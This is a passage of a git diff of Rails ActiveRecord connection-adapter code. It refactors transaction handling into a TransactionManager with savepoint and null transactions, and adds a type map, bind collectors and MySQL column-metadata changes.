@@ -751,40 +954,6 @@ module ActiveRecord
           options.include?(:default) && !(options[:null] == false && options[:default].nil?)
         end
 
-        def add_index_options(table_name, column_name, options = {})
-          column_names = Array(column_name)
-          index_name   = index_name(table_name, column: column_names)
-
-          options.assert_valid_keys(:unique, :order, :name, :where, :length, :internal, :using, :algorithm, :type)
-
-          index_type = options[:unique] ? "UNIQUE" : ""
-          index_type = options[:type].to_s if options.key?(:type)
-          index_name = options[:name].to_s if options.key?(:name)
-          max_index_length = options.fetch(:internal, false) ? index_name_length : allowed_index_name_length
-
-          if options.key?(:algorithm)
-            algorithm = index_algorithms.fetch(options[:algorithm]) {
-              raise ArgumentError.new("Algorithm must be one of the following: #{index_algorithms.keys.map(&:inspect).join(', ')}")
-            }
-          end
-
-          using = "USING #{options[:using]}" if options[:using].present?
-
-          if supports_partial_index?
-            index_options = options[:where] ? " WHERE #{options[:where]}" : ""
-          end
-
-          if index_name.length > max_index_length
-            raise ArgumentError, "Index name '#{index_name}' on table '#{table_name}' is too long; the limit is #{max_index_length} characters"
-          end
-          if index_name_exists?(table_name, index_name, false)
-            raise ArgumentError, "Index name '#{index_name}' on table '#{table_name}' already exists"
-          end
-          index_columns = quoted_columns_for_index(column_names, options).join(", ")
-
-          [index_name, index_type, index_columns, index_options, algorithm, using]
-        end
-
         def index_name_for_remove(table_name, options = {})
           index_name = index_name(table_name, options)
 
@@ -826,16 +995,26 @@ module ActiveRecord
         end
 
       private
-      def create_table_definition(name, temporary, options)
-        TableDefinition.new native_database_types, name, temporary, options
+      def create_table_definition(name, temporary = false, options = nil, as = nil)
+        TableDefinition.new native_database_types, name, temporary, options, as
       end
 
       def create_alter_table(name)
-        AlterTable.new create_table_definition(name, false, {})
+        AlterTable.new create_table_definition(name)
       end
 
-      def update_table_definition(table_name, base)
-        Table.new(table_name, base)
+      def foreign_key_name(table_name, options) # :nodoc:
+        identifier = "#{table_name}_#{options.fetch(:column)}_fk"
+        hashed_identifier = Digest::SHA256.hexdigest(identifier).first(10)
+        options.fetch(:name) do
+          "fk_rails_#{hashed_identifier}"
+        end
+      end
+
+      def validate_index_length!(table_name, new_name)
+        if new_name.length > allowed_index_name_length
+          raise ArgumentError, "Index name '#{new_name}' on table '#{table_name}' is too long; the limit is #{allowed_index_name_length} characters"
+        end
       end
     end
   end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/transaction.rb b/activerecord/lib/active_record/connection_adapters/abstract/transaction.rb
index 2b6685499a..11440e30d4 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/transaction.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/transaction.rb
@@ -1,20 +1,7 @@
 module ActiveRecord
   module ConnectionAdapters
-    class Transaction #:nodoc:
-      attr_reader :connection
-
-      def initialize(connection)
-        @connection = connection
-        @state = TransactionState.new
-      end
-
-      def state
-        @state
-      end
-    end
-
     class TransactionState
-      attr_accessor :parent
+      attr_reader :parent
 
       VALID_STATES = Set.new([:committed, :rolledback, nil])
 
@@ -23,6 +10,10 @@ module ActiveRecord
         @parent = nil
       end
 
+      def finalized?
+        @state
+      end
+
       def committed?
         @state == :committed
       end
@@ -31,6 +22,10 @@ module ActiveRecord
         @state == :rolledback
       end
 
+      def completed?
+        committed? || rolledback?
+      end
+
       def set_state(state)
         if !VALID_STATES.include?(state)
           raise ArgumentError, "Invalid transaction state: #{state}"
@@ -39,127 +34,93 @@ module ActiveRecord
       end
     end
 
-    class ClosedTransaction < Transaction #:nodoc:
-      def number
-        0
-      end
-
-      def begin(options = {})
-        RealTransaction.new(connection, self, options)
-      end
-
-      def closed?
-        true
-      end
-
-      def open?
-        false
-      end
-
-      def joinable?
-        false
-      end
-
-      # This is a noop when there are no open transactions
-      def add_record(record)
-      end
+    class NullTransaction #:nodoc:
+      def initialize; end
+      def closed?; true; end
+      def open?; false; end
+      def joinable?; false; end
+      def add_record(record); end
     end
 
-    class OpenTransaction < Transaction #:nodoc:
-      attr_reader :parent, :records
-      attr_writer :joinable
+    class Transaction #:nodoc:
 
-      def initialize(connection, parent, options = {})
-        super connection
+      attr_reader :connection, :state, :records, :savepoint_name
+      attr_writer :joinable
 
-        @parent    = parent
-        @records   = []
-        @finishing = false
-        @joinable  = options.fetch(:joinable, true)
+      def initialize(connection, options)
+        @connection = connection
+        @state = TransactionState.new
+        @records = []
+        @joinable = options.fetch(:joinable, true)
       end
 
-      # This state is necessary so that we correctly handle stuff that might
-      # happen in a commit/rollback. But it's kinda distasteful. Maybe we can
-      # find a better way to structure it in the future.
-      def finishing?
-        @finishing
+      def add_record(record)
+        records << record
       end
 
-      def joinable?
-        @joinable && !finishing?
+      def rollback
+        @state.set_state(:rolledback)
       end
 
-      def number
-        if finishing?
-          parent.number
-        else
-          parent.number + 1
+      def rollback_records
+        ite = records.uniq
+        while record = ite.shift
+          record.rolledback!(force_restore_state: full_rollback?)
         end
-      end
-
-      def begin(options = {})
-        if finishing?
-          parent.begin
-        else
-          SavepointTransaction.new(connection, self, options)
+      ensure
+        ite.each do |i|
+          i.rolledback!(force_restore_state: full_rollback?, should_run_callbacks: false)
         end
       end
 
-      def rollback
-        @finishing = true
-        perform_rollback
-        parent
-      end
-
       def commit
-        @finishing = true
-        perform_commit
-        parent
+        @state.set_state(:committed)
       end
 
-      def add_record(record)
-        if record.has_transactional_callbacks?
-          records << record
-        else
-          record.set_transaction_state(@state)
+      def commit_records
+        ite = records.uniq
+        while record = ite.shift
+          record.committed!
         end
-      end
-
-      def rollback_records
-        @state.set_state(:rolledback)
-        records.uniq.each do |record|
-          begin
-            record.rolledback!(parent.closed?)
-          rescue => e
-            record.logger.error(e) if record.respond_to?(:logger) && record.logger
-          end
+      ensure
+        ite.each do |i|
+          i.committed!(should_run_callbacks: false)
         end
       end
 
-      def commit_records
-        @state.set_state(:committed)
-        records.uniq.each do |record|
-          begin
-            record.committed!
-          rescue => e
-            record.logger.error(e) if record.respond_to?(:logger) && record.logger
-          end
+      def full_rollback?; true; end
+      def joinable?; @joinable; end
+      def closed?; false; end
+      def open?; !closed?; end
+    end
+
+    class SavepointTransaction < Transaction
+
+      def initialize(connection, savepoint_name, options)
+        super(connection, options)
+        if options[:isolation]
+          raise ActiveRecord::TransactionIsolationError, "cannot set transaction isolation in a nested transaction"
         end
+        connection.create_savepoint(@savepoint_name = savepoint_name)
       end
 
-      def closed?
-        false
+      def rollback
+        connection.rollback_to_savepoint(savepoint_name)
+        super
       end
 
-      def open?
-        true
+      def commit
+        connection.release_savepoint(savepoint_name)
+        super
       end
+
+      def full_rollback?; false; end
     end
 
-    class RealTransaction < OpenTransaction #:nodoc:
-      def initialize(connection, parent, options = {})
-        super
+    class RealTransaction < Transaction
 
+      def initialize(connection, options)
+        super
         if options[:isolation]
           connection.begin_isolated_db_transaction(options[:isolation])
         else
@@ -167,37 +128,85 @@ module ActiveRecord
         end
       end
 
-      def perform_rollback
+      def rollback
         connection.rollback_db_transaction
-        rollback_records
+        super
       end
 
-      def perform_commit
+      def commit
         connection.commit_db_transaction
-        commit_records
+        super
       end
     end
 
-    class SavepointTransaction < OpenTransaction #:nodoc:
-      def initialize(connection, parent, options = {})
-        if options[:isolation]
-          raise ActiveRecord::TransactionIsolationError, "cannot set transaction isolation in a nested transaction"
+    class TransactionManager #:nodoc:
+      def initialize(connection)
+        @stack = []
+        @connection = connection
+      end
+
+      def begin_transaction(options = {})
+        transaction =
+          if @stack.empty?
+            RealTransaction.new(@connection, options)
+          else
+            SavepointTransaction.new(@connection, "active_record_#{@stack.size}", options)
+          end
+
+        @stack.push(transaction)
+        transaction
+      end
+
+      def commit_transaction
+        inner_transaction = @stack.pop
+        inner_transaction.commit
+
+        if current_transaction.joinable?
+          inner_transaction.records.each do |r|
+            r.add_to_transaction
+          end
+        else
+          inner_transaction.commit_records
         end
+      end
 
-        super
-        connection.create_savepoint
+      def rollback_transaction(transaction = nil)
+        transaction ||= @stack.pop
+        transaction.rollback
+        transaction.rollback_records
+      end
+
+      def within_new_transaction(options = {})
+        transaction = begin_transaction options
+        yield
+      rescue Exception => error
+        rollback_transaction if transaction
+        raise
+      ensure
+        unless error
+          if Thread.current.status == 'aborting'
+            rollback_transaction if transaction
+          else
+            begin
+              commit_transaction
+            rescue Exception
+              rollback_transaction(transaction) unless transaction.state.completed?
+              raise
+            end
+          end
+        end
       end
 
-      def perform_rollback
-        connection.rollback_to_savepoint
-        rollback_records
+      def open_transactions
+        @stack.size
       end
 
-      def perform_commit
-        @state.set_state(:committed)
-        @state.parent = parent.state
-        connection.release_savepoint
+      def current_transaction
+        @stack.last || NULL_TRANSACTION
       end
+
+      private
+        NULL_TRANSACTION = NullTransaction.new
     end
   end
 end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb b/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb
index ba1cb05d2c..c307189980 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb
@@ -1,10 +1,15 @@
 require 'date'
 require 'bigdecimal'
 require 'bigdecimal/util'
+require 'active_record/type'
 require 'active_support/core_ext/benchmark'
 require 'active_record/connection_adapters/schema_cache'
+require 'active_record/connection_adapters/sql_type_metadata'
 require 'active_record/connection_adapters/abstract/schema_dumper'
+require 'active_record/connection_adapters/abstract/schema_creation'
 require 'monitor'
+require 'arel/collectors/bind'
+require 'arel/collectors/sql_string'
 
 module ActiveRecord
   module ConnectionAdapters # :nodoc:
@@ -16,6 +21,8 @@ module ActiveRecord
     autoload_at 'active_record/connection_adapters/abstract/schema_definitions' do
       autoload :IndexDefinition
       autoload :ColumnDefinition
+      autoload :ChangeColumnDefinition
+      autoload :ForeignKeyDefinition
       autoload :TableDefinition
       autoload :Table
       autoload :AlterTable
@@ -33,12 +40,15 @@ module ActiveRecord
       autoload :Quoting
       autoload :ConnectionPool
       autoload :QueryCache
+      autoload :Savepoints
     end
 
     autoload_at 'active_record/connection_adapters/abstract/transaction' do
-      autoload :ClosedTransaction
+      autoload :TransactionManager
+      autoload :NullTransaction
       autoload :RealTransaction
       autoload :SavepointTransaction
+      autoload :TransactionState
     end
 
     # Active Record supports multiple database systems. AbstractAdapter and
@@ -55,6 +65,7 @@ module ActiveRecord
     # Most of the methods in the adapter are useful during migrations. Most
     # notably, the instance methods provided by SchemaStatement are very useful.
     class AbstractAdapter
+      ADAPTER_NAME = 'Abstract'.freeze
       include Quoting, DatabaseStatements, SchemaStatements
       include DatabaseLimits
       include QueryCache
@@ -67,8 +78,8 @@ module ActiveRecord
       define_callbacks :checkout, :checkin
 
       attr_accessor :visitor, :pool
-      attr_reader :schema_cache, :last_use, :in_use, :logger
-      alias :in_use? :in_use
+      attr_reader :schema_cache, :owner, :logger
+      alias :in_use? :owner
 
       def self.type_cast_config_to_integer(config)
         if config =~ SIMPLE_INT
@@ -86,99 +97,44 @@ module ActiveRecord
         end
       end
 
+      attr_reader :prepared_statements
+
       def initialize(connection, logger = nil, pool = nil) #:nodoc:
         super()
 
         @connection          = connection
-        @in_use              = false
+        @owner               = nil
         @instrumenter        = ActiveSupport::Notifications.instrumenter
-        @last_use            = false
         @logger              = logger
         @pool                = pool
         @schema_cache        = SchemaCache.new self
         @visitor             = nil
+        @prepared_statements = false
       end
 
-      def valid_type?(type)
-        true
-      end
-
-      class SchemaCreation
-        def initialize(conn)
-          @conn  = conn
-          @cache = {}
-        end
-
-        def accept(o)
-          m = @cache[o.class] ||= "visit_#{o.class.name.split('::').last}"
-          send m, o
-        end
-
-        def visit_AddColumn(o)
-          sql_type = type_to_sql(o.type.to_sym, o.limit, o.precision, o.scale)
-          sql = "ADD #{quote_column_name(o.name)} #{sql_type}"
-          add_column_options!(sql, column_options(o))
-        end
-
-        private
-
-        def visit_AlterTable(o)
-          sql = "ALTER TABLE #{quote_table_name(o.name)} "
-          sql << o.adds.map { |col| visit_AddColumn col }.join(' ')
-        end
-
-        def visit_ColumnDefinition(o)
-          sql_type = type_to_sql(o.type.to_sym, o.limit, o.precision, o.scale)
-          column_sql = "#{quote_column_name(o.name)} #{sql_type}"
-          add_column_options!(column_sql, column_options(o)) unless o.primary_key?
-          column_sql
-        end
-
-        def visit_TableDefinition(o)
-          create_sql = "CREATE#{' TEMPORARY' if o.temporary} TABLE "
-          create_sql << "#{quote_table_name(o.name)} ("
-          create_sql << o.columns.map { |c| accept c }.join(', ')
-          create_sql << ") #{o.options}"
-          create_sql
-        end
-
-        def column_options(o)
-          column_options = {}
-          column_options[:null] = o.null unless o.null.nil?
-          column_options[:default] = o.default unless o.default.nil?
-          column_options[:column] = o
-          column_options[:first] = o.first
-          column_options[:after] = o.after
-          column_options
-        end
-
-        def quote_column_name(name)
-          @conn.quote_column_name name
-        end
-
-        def quote_table_name(name)
-          @conn.quote_table_name name
+      class BindCollector < Arel::Collectors::Bind
+        def compile(bvs, conn)
+          casted_binds = conn.prepare_binds_for_database(bvs)
+          super(casted_binds.map { |value| conn.quote(value) })
         end
+      end
 
-        def type_to_sql(type, limit, precision, scale)
-          @conn.type_to_sql type.to_sym, limit, precision, scale
+      class SQLString < Arel::Collectors::SQLString
+        def compile(bvs, conn)
+          super(bvs)
         end
+      end
 
-        def add_column_options!(sql, options)
-          sql << " DEFAULT #{@conn.quote(options[:default], options[:column])}" if options_include_default?(options)
-          # must explicitly check for :null to allow change_column to work on migrations
-          if options[:null] == false
-            sql << " NOT NULL"
-          end
-          if options[:auto_increment] == true
-            sql << " AUTO_INCREMENT"
-          end
-          sql
+      def collector
+        if prepared_statements
+          SQLString.new
+        else
+          BindCollector.new
         end
+      end
 
-        def options_include_default?(options)
-          options.include?(:default) && !(options[:null] == false && options[:default].nil?)
-        end
+      def valid_type?(type)
+        true
       end
 
       def schema_creation
@@ -187,9 +143,8 @@ module ActiveRecord
 
       def lease
         synchronize do
-          unless in_use
-            @in_use   = true
-            @last_use = Time.now
+          unless in_use?
+            @owner = Thread.current
           end
         end
       end
@@ -200,48 +155,35 @@ module ActiveRecord
       end
 
       def expire
-        @in_use = false
-      end
-
-      def unprepared_visitor
-        self.class::BindSubstitution.new self
+        @owner = nil
       end
 
       def unprepared_statement
-        old, @visitor = @visitor, unprepared_visitor
+        old_prepared_statements, @prepared_statements = @prepared_statements, false
         yield
       ensure
-        @visitor = old
+        @prepared_statements = old_prepared_statements
       end
 
       # Returns the human-readable name of the adapter. Use mixed case - one
       # can always use downcase if needed.
       def adapter_name
-        'Abstract'
+        self.class::ADAPTER_NAME
       end
 
-      # Does this adapter support migrations? Backend specific, as the
-      # abstract adapter always returns +false+.
+      # Does this adapter support migrations?
       def supports_migrations?
         false
       end
 
       # Can this adapter determine the primary key for tables not attached
-      # to an Active Record class, such as join tables? Backend specific, as
-      # the abstract adapter always returns +false+.
+      # to an Active Record class, such as join tables?
       def supports_primary_key?
         false
       end
 
-      # Does this adapter support using DISTINCT within COUNT? This is +true+
-      # for all adapters except sqlite.
-      def supports_count_distinct?
-        true
-      end
-
       # Does this adapter support DDL rollbacks in transactions? That is, would
-      # CREATE TABLE or ALTER TABLE get rolled back by a transaction? PostgreSQL,
-      # SQL Server, and others support this. MySQL and others do not.
+      # CREATE TABLE or ALTER TABLE get rolled back by a transaction?
       def supports_ddl_transactions?
         false
       end
@@ -250,8 +192,7 @@ module ActiveRecord
         false
       end
 
-      # Does this adapter support savepoints? PostgreSQL and MySQL do,
-      # SQLite < 3.6.8 does not.
+      # Does this adapter support savepoints?
       def supports_savepoints?
         false
       end
@@ -259,7 +200,6 @@ module ActiveRecord
       # Should primary key values be selected from their corresponding
       # sequence before the insert statement? If true, next_sequence_value
       # is called before each insert to set the record's primary key.
-      # This is false for all adapters but Firebird.
       def prefetch_primary_key?(table_name = nil)
         false
       end
@@ -274,8 +214,7 @@ module ActiveRecord
         false
       end
 
-      # Does this adapter support explain? As of this writing sqlite3,
-      # mysql2, and postgresql are the only ones that do.
+      # Does this adapter support explain?
       def supports_explain?
         false
       end
@@ -285,12 +224,32 @@ module ActiveRecord
         false
       end
 
-      # Does this adapter support database extensions? As of this writing only
-      # postgresql does.
+      # Does this adapter support database extensions?
       def supports_extensions?
         false
       end
 
+      # Does this adapter support creating indexes in the same statement as
+      # creating the table?
+      def supports_indexes_in_create?
+        false
+      end
+
+      # Does this adapter support creating foreign key constraints?
+      def supports_foreign_keys?
+        false
+      end
+
+      # Does this adapter support views?
+      def supports_views?
+        false
+      end
+
+      # Does this adapter support datetime with precision?
+      def supports_datetime_with_precision?
+        false
+      end
+
       # This is meant to be implemented by the adapters that support extensions
       def disable_extension(name)
       end
@@ -299,24 +258,20 @@ module ActiveRecord
       def enable_extension(name)
       end
 
-      # A list of extensions, to be filled in by adapters that support them. At
-      # the moment only postgresql does.
+      # A list of extensions, to be filled in by adapters that support them.
       def extensions
         []
       end
 
       # A list of index algorithms, to be filled by adapters that support them.
-      # MySQL and PostgreSQL have support for them right now.
       def index_algorithms
         {}
       end
 
-      # QUOTING ==================================================
-
-      # Returns a bind substitution value given a bind +index+ and +column+
+      # Returns a bind substitution value given a bind +column+
       # NOTE: The column param is currently being used by the sqlserver-adapter
-      def substitute_at(column, index)
-        Arel::Nodes::BindParam.new '?'
+      def substitute_at(column, _unused = 0)
+        Arel::Nodes::BindParam.new
       end
 
       # REFERENTIAL INTEGRITY ====================================
@@ -367,7 +322,6 @@ module ActiveRecord
       end
 
       # Returns true if its required to reload the connection between requests for development mode.
-      # This is not the case for Ruby/MySQL and it's not necessary for any adapters except SQLite.
       def requires_reloading?
         false
       end
@@ -389,29 +343,37 @@ module ActiveRecord
         @connection
       end
 
-      def open_transactions
-        @transaction.number
+      def create_savepoint(name = nil)
       end
 
-      def create_savepoint
+      def release_savepoint(name = nil)
       end
 
-      def rollback_to_savepoint
+      def case_sensitive_modifier(node, table_attribute)
+        node
       end
 
-      def release_savepoint
+      def case_sensitive_comparison(table, attribute, column, value)
+        table_attr = table[attribute]
+        value = case_sensitive_modifier(value, table_attr) unless value.nil?
+        table_attr.eq(value)
       end
 
-      def case_sensitive_modifier(node)
-        node
+      def case_insensitive_comparison(table, attribute, column, value)
+        if can_perform_case_insensitive_comparison_for?(column)
+          table[attribute].lower.eq(table.lower(value))
+        else
+          case_sensitive_comparison(table, attribute, column, value)
+        end
       end
 
-      def case_insensitive_comparison(table, attribute, column, value)
-        table[attribute].lower.eq(table.lower(value))
+      def can_perform_case_insensitive_comparison_for?(column)
+        true
       end
+      private :can_perform_case_insensitive_comparison_for?
 
       def current_savepoint_name
-        "active_record_#{open_transactions}"
+        current_transaction.savepoint_name
       end
 
       # Check the connection back in to the connection pool
@@ -419,27 +381,135 @@ module ActiveRecord
         pool.checkin self
       end
 
+      def type_map # :nodoc:
+        @type_map ||= Type::TypeMap.new.tap do |mapping|
+          initialize_type_map(mapping)
+        end
+      end
+
+      def new_column(name, default, sql_type_metadata = nil, null = true)
+        Column.new(name, default, sql_type_metadata, null)
+      end
+
+      def lookup_cast_type(sql_type) # :nodoc:
+        type_map.lookup(sql_type)
+      end
+
+      def column_name_for_operation(operation, node) # :nodoc:
+        visitor.accept(node, collector).value
+      end
+
       protected
 
-      def log(sql, name = "SQL", binds = [])
-        @instrumenter.instrument(
-          "sql.active_record",
-          :sql           => sql,
-          :name          => name,
-          :connection_id => object_id,
-          :binds         => binds) { yield }
-      rescue => e
-        message = "#{e.class.name}: #{e.message}: #{sql}"
+      def initialize_type_map(m) # :nodoc:
+        register_class_with_limit m, %r(boolean)i,       Type::Boolean
+        register_class_with_limit m, %r(char)i,          Type::String
+        register_class_with_limit m, %r(binary)i,        Type::Binary
+        register_class_with_limit m, %r(text)i,          Type::Text
+        register_class_with_precision m, %r(date)i,      Type::Date
+        register_class_with_precision m, %r(time)i,      Type::Time
+        register_class_with_precision m, %r(datetime)i,  Type::DateTime
+        register_class_with_limit m, %r(float)i,         Type::Float
+        register_class_with_limit m, %r(int)i,           Type::Integer
+
+        m.alias_type %r(blob)i,      'binary'
+        m.alias_type %r(clob)i,      'text'
+        m.alias_type %r(timestamp)i, 'datetime'
+        m.alias_type %r(numeric)i,   'decimal'
+        m.alias_type %r(number)i,    'decimal'
+        m.alias_type %r(double)i,    'float'
+
+        m.register_type(%r(decimal)i) do |sql_type|
+          scale = extract_scale(sql_type)
+          precision = extract_precision(sql_type)
+
+          if scale == 0
+            # FIXME: Remove this class as well
+            Type::DecimalWithoutScale.new(precision: precision)
+          else
+            Type::Decimal.new(precision: precision, scale: scale)
+          end
+        end
+      end
+
+      def reload_type_map # :nodoc:
+        type_map.clear
+        initialize_type_map(type_map)
+      end
+
+      def register_class_with_limit(mapping, key, klass) # :nodoc:
+        mapping.register_type(key) do |*args|
+          limit = extract_limit(args.last)
+          klass.new(limit: limit)
+        end
+      end
+
+      def register_class_with_precision(mapping, key, klass) # :nodoc:
+        mapping.register_type(key) do |*args|
+          precision = extract_precision(args.last)
+          klass.new(precision: precision)
+        end
+      end
+
+      def extract_scale(sql_type) # :nodoc:
+        case sql_type
+          when /\((\d+)\)/ then 0
+          when /\((\d+)(,(\d+))\)/ then $3.to_i
+        end
+      end
+
+      def extract_precision(sql_type) # :nodoc:
+        $1.to_i if sql_type =~ /\((\d+)(,\d+)?\)/
+      end
+
+      def extract_limit(sql_type) # :nodoc:
+        case sql_type
+        when /^bigint/i
+          8
+        when /\((.*)\)/
+          $1.to_i
+        end
+      end
+
+      def translate_exception_class(e, sql)
+        begin
+          message = "#{e.class.name}: #{e.message}: #{sql}"
+        rescue Encoding::CompatibilityError
+          message = "#{e.class.name}: #{e.message.force_encoding sql.encoding}: #{sql}"
+        end
+
         @logger.error message if @logger
         exception = translate_exception(e, message)
         exception.set_backtrace e.backtrace
-        raise exception
+        exception
+      end
+
+      def log(sql, name = "SQL", binds = [], statement_name = nil)
+        @instrumenter.instrument(
+          "sql.active_record",
+          :sql            => sql,
+          :name           => name,
+          :connection_id  => object_id,
+          :statement_name => statement_name,
+          :binds          => binds) { yield }
+      rescue => e
+        raise translate_exception_class(e, sql)
       end
 
       def translate_exception(exception, message)
         # override in derived class
         ActiveRecord::StatementInvalid.new(message, exception)
       end
+
+      def without_prepared_statement?(binds)
+        !prepared_statements || binds.empty?
+      end
+
+      def column_for(table_name, column_name) # :nodoc:
+        column_name = column_name.to_s
+        columns(table_name).detect { |c| c.name == column_name } ||
+          raise(ActiveRecordError, "No such column: #{table_name}.#{column_name}")
+      end
     end
   end
 end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb b/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb
index 4b11ea795c..0a9e599c3c 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb
@@ -1,22 +1,45 @@
 require 'arel/visitors/bind_visitor'
+require 'active_support/core_ext/string/strip'
 
 module ActiveRecord
   module ConnectionAdapters
     class AbstractMysqlAdapter < AbstractAdapter
-      class SchemaCreation < AbstractAdapter::SchemaCreation
+      include Savepoints
+
+      class TableDefinition < ActiveRecord::ConnectionAdapters::TableDefinition
+        def primary_key(name, type = :primary_key, options = {})
+          options[:auto_increment] ||= type == :bigint
+          super
+        end
+      end
 
+      class SchemaCreation < AbstractAdapter::SchemaCreation
         def visit_AddColumn(o)
           add_column_position!(super, column_options(o))
         end
 
         private
+
+        def visit_DropForeignKey(name)
+          "DROP FOREIGN KEY #{name}"
+        end
+
+        def visit_TableDefinition(o)
+          name = o.name
+          create_sql = "CREATE#{' TEMPORARY' if o.temporary} TABLE #{quote_table_name(name)} "
+
+          statements = o.columns.map { |c| accept c }
+          statements.concat(o.indexes.map { |column_name, options| index_in_create(name, column_name, options) })
+
+          create_sql << "(#{statements.join(', ')}) " if statements.present?
+          create_sql << "#{o.options}"
+          create_sql << " AS #{@conn.to_sql(o.as)}" if o.as
+          create_sql
+        end
+
         def visit_ChangeColumnDefinition(o)
-          column = o.column
-          options = o.options
-          sql_type = type_to_sql(o.type, options[:limit], options[:precision], options[:scale])
-          change_column_sql = "CHANGE #{quote_column_name(column.name)} #{quote_column_name(options[:name])} #{sql_type}"
-          add_column_options!(change_column_sql, options)
-          add_column_position!(change_column_sql, options)
+          change_column_sql = "CHANGE #{quote_column_name(o.name)} #{accept(o.column)}"
+          add_column_position!(change_column_sql, column_options(o.column))
         end
 
         def add_column_position!(sql, options)
@@ -27,38 +50,54 @@ module ActiveRecord
           end
           sql
         end
+
+        def index_in_create(table_name, column_name, options)
+          index_name, index_type, index_columns, index_options, index_algorithm, index_using = @conn.add_index_options(table_name, column_name, options)
+          "#{index_type} INDEX #{quote_column_name(index_name)} #{index_using} (#{index_columns})#{index_options} #{index_algorithm}"
+        end
       end
 
       def schema_creation
         SchemaCreation.new self
       end
 
+      def column_spec_for_primary_key(column)
+        spec = {}
+        if column.auto_increment?
+          return unless column.limit == 8
+          spec[:id] = ':bigint'
+        else
+          spec[:id] = column.type.inspect
+          spec.merge!(prepare_column_options(column).delete_if { |key, _| [:name, :type, :null].include?(key) })
+        end
+        spec
+      end
+
+      def prepare_column_options(column)
+        spec = super
+        spec.delete(:precision) if column.type == :datetime && column.precision == 0
+        spec
+      end
+
       class Column < ConnectionAdapters::Column # :nodoc:
-        attr_reader :collation, :strict, :extra
+        delegate :strict, :collation, :extra, to: :sql_type_metadata, allow_nil: true
 
-        def initialize(name, default, sql_type = nil, null = true, collation = nil, strict = false, extra = "")
-          @strict    = strict
-          @collation = collation
-          @extra     = extra
-          super(name, default, sql_type, null)
+        def initialize(*)
+          super
+          assert_valid_default(default)
+          extract_default
         end
 
-        def extract_default(default)
+        def extract_default
           if blob_or_text_column?
-            if default.blank?
-              null || strict ? nil : ''
-            else
-              raise ArgumentError, "#{type} columns cannot have a default value: #{default.inspect}"
-            end
+            @default = null || strict ? nil : ''
           elsif missing_default_forged_as_empty_string?(default)
-            nil
-          else
-            super
+            @default = nil
           end
         end
 
         def has_default?
-          return false if blob_or_text_column? #mysql forbids defaults on blob and text columns
+          return false if blob_or_text_column? # MySQL forbids defaults on blob and text columns
           super
         end
 
@@ -66,53 +105,15 @@ module ActiveRecord
           sql_type =~ /blob/i || type == :text
         end
 
-        # Must return the relevant concrete adapter
-        def adapter
-          raise NotImplementedError
-        end
-
         def case_sensitive?
           collation && !collation.match(/_ci$/)
         end
 
-        private
-
-        def simplified_type(field_type)
-          return :boolean if adapter.emulate_booleans && field_type.downcase.index("tinyint(1)")
-
-          case field_type
-          when /enum/i, /set/i then :string
-          when /year/i         then :integer
-          when /bit/i          then :binary
-          else
-            super
-          end
+        def auto_increment?
+          extra == 'auto_increment'
         end
 
-        def extract_limit(sql_type)
-          case sql_type
-          when /^enum\((.+)\)/i
-            $1.split(',').map{|enum| enum.strip.length - 2}.max
-          when /blob|text/i
-            case sql_type
-            when /tiny/i
-              255
-            when /medium/i
-              16777215
-            when /long/i
-              2147483647 # mysql only allows 2^31-1, not 2^32-1, somewhat inconsistently with the tiny/medium/normal cases
-            else
-              super # we could return 65535 here, but we leave it undecorated by default
-            end
-          when /^bigint/i;    8
-          when /^int/i;       4
-          when /^mediumint/i; 3
-          when /^smallint/i;  2
-          when /^tinyint/i;   1
-          else
-            super
-          end
-        end
+        private
 
         # MySQL misreports NOT NULL column default when none is given.
         # We can't detect this for columns which may have a legitimate ''
@@ -124,6 +125,40 @@ module ActiveRecord
         def missing_default_forged_as_empty_string?(default)
           type != :string && !null && default == ''
         end
+
+        def assert_valid_default(default)
+          if blob_or_text_column? && default.present?
+            raise ArgumentError, "#{type} columns cannot have a default value: #{default.inspect}"
+          end
+        end
+      end
+
+      class MysqlTypeMetadata < DelegateClass(SqlTypeMetadata) # :nodoc:
+        attr_reader :collation, :extra, :strict
+
+        def initialize(type_metadata, collation: "", extra: "", strict: false)
+          super(type_metadata)
+          @type_metadata = type_metadata
+          @collation = collation
+          @extra = extra
+          @strict = strict
+        end
+
+        def ==(other)
+          other.is_a?(MysqlTypeMetadata) &&
+            attributes_for_hash == other.attributes_for_hash
+        end
+        alias eql? ==
+
+        def hash
+          attributes_for_hash.hash
+        end
+
+        protected
+
+        def attributes_for_hash
+          [self.class, @type_metadata, collation, extra, strict]
+        end
       end
 
       ##
@@ -146,14 +181,13 @@ module ActiveRecord
       QUOTED_TRUE, QUOTED_FALSE = '1', '0'
 
       NATIVE_DATABASE_TYPES = {
-        :primary_key => "int(11) DEFAULT NULL auto_increment PRIMARY KEY",
+        :primary_key => "int(11) auto_increment PRIMARY KEY",
         :string      => { :name => "varchar", :limit => 255 },
         :text        => { :name => "text" },
         :integer     => { :name => "int", :limit => 4 },
         :float       => { :name => "float" },
         :decimal     => { :name => "decimal" },
         :datetime    => { :name => "datetime" },
-        :timestamp   => { :name => "datetime" },
         :time        => { :name => "time" },
         :date        => { :name => "date" },
         :binary      => { :name => "blob" },
@@ -163,27 +197,21 @@ module ActiveRecord
       INDEX_TYPES  = [:fulltext, :spatial]
       INDEX_USINGS = [:btree, :hash]
 
-      class BindSubstitution < Arel::Visitors::MySQL # :nodoc:
-        include Arel::Visitors::BindVisitor
-      end
-
       # FIXME: Make the first parameter more similar for the two adapters
       def initialize(connection, logger, connection_options, config)
         super(connection, logger)
         @connection_options, @config = connection_options, config
         @quoted_column_names, @quoted_table_names = {}, {}
 
+        @visitor = Arel::Visitors::MySQL.new self
+
         if self.class.type_cast_config_to_boolean(config.fetch(:prepared_statements) { true })
-          @visitor = Arel::Visitors::MySQL.new self
+          @prepared_statements = true
         else
-          @visitor = unprepared_visitor
+          @prepared_statements = false
         end
       end
 
-      def adapter_name #:nodoc:
-        self.class::ADAPTER_NAME
-      end
-
